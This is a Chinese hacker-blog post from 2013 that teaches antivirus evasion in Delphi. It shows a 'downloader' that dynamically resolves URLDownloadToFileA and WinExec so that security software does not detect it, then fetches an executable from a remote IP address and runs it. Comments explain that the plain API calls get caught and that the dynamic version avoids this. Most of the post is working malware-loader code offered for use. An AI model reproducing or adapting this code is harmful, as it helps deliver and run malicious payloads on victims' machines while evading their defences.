- [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者
- 2013-12-30 23:44:21 来源:K8拉登哥哥's Blog
只是发出来给不懂的人入入门 也防止有新人老是来问
ShellApi,URLMon 单元
//Delphi动态调用API函数
procedure TForm1.Button1Click(Sender: TObject);
var
SourceFile:ansistring;
DestFile :ansistring;
down2:function(Caller: IUnknown; URL: PChar; FileName: PChar;
Longint: DWORD; StatusCB: IBindStatusCallback): Longint; stdcall;
exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
SourceFile:='http://172.16.126.152/UrlDown/k8team.exe';
DestFile := 'f:\bbbaa.exe';
//原函数 下载完就执行 典型的下载者 常用函数 是个杀软都会杀得你连路都不见
//UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
//WinExec(Pchar(DestFile),SW_SHOW); //要和原函数对应
//动态调用
@Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil);
//动态调用
@exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
exe2(PChar(DestFile),SW_SHOW);
end;
//=================================================================================================================
附上函数原型
URLDownloadToFile 函数
function URLDownloadToFile; external UrlMonLib name 'URLDownloadToFileA';
UrlMonLib = 'URLMON.DLL';
function URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName:
PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult;
stdcall;
WinExec函数
function WinExec; external kernel32 name 'WinExec';
kernel32 = 'kernel32.dll';
function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;